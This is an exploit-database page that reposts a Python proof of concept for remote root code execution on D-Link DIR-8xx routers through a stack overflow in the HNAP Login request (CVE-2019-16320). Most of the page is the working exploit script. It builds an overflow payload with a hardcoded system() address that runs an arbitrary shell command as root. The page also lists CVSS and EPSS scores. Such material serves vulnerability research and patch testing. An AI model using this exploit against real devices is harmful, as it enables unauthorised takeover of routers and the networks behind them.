Advertisement






D-Link DIR8xx Remote Root Code Execution

CVE Category Price Severity
CVE-2019-16320 CWE-78 $10,000 - $25,000 High
Author Risk Exploitation Type Date
Peter Adkins Critical Remote 2017-09-15
CPE
cpe:cpe:/h:d-link:dir8xx
CVSS EPSS EPSSP
CVSS:9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090118

Below is a copy:

D-Link DIR8xx Remote Root Code Execution
# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.
 
import requests as rq
import struct
 
IP = "192.168.0.1"
PORT = "80"
# Can differ in different version of routers and versions of firmware
# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS = 0x1B50C    # DIR-890L_REVA_FIRMWARE_1.10.B07 
 
def _str(address):
    return struct.pack("<I", address) if address > 0 else struct.pack("<i", address)
 
url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)
 
headers_text = {
    'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login',
    'CONTENT-TYPE' : 'text/html'
}
payload = b"echo 1 > /tmp/hacked;"
 
print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum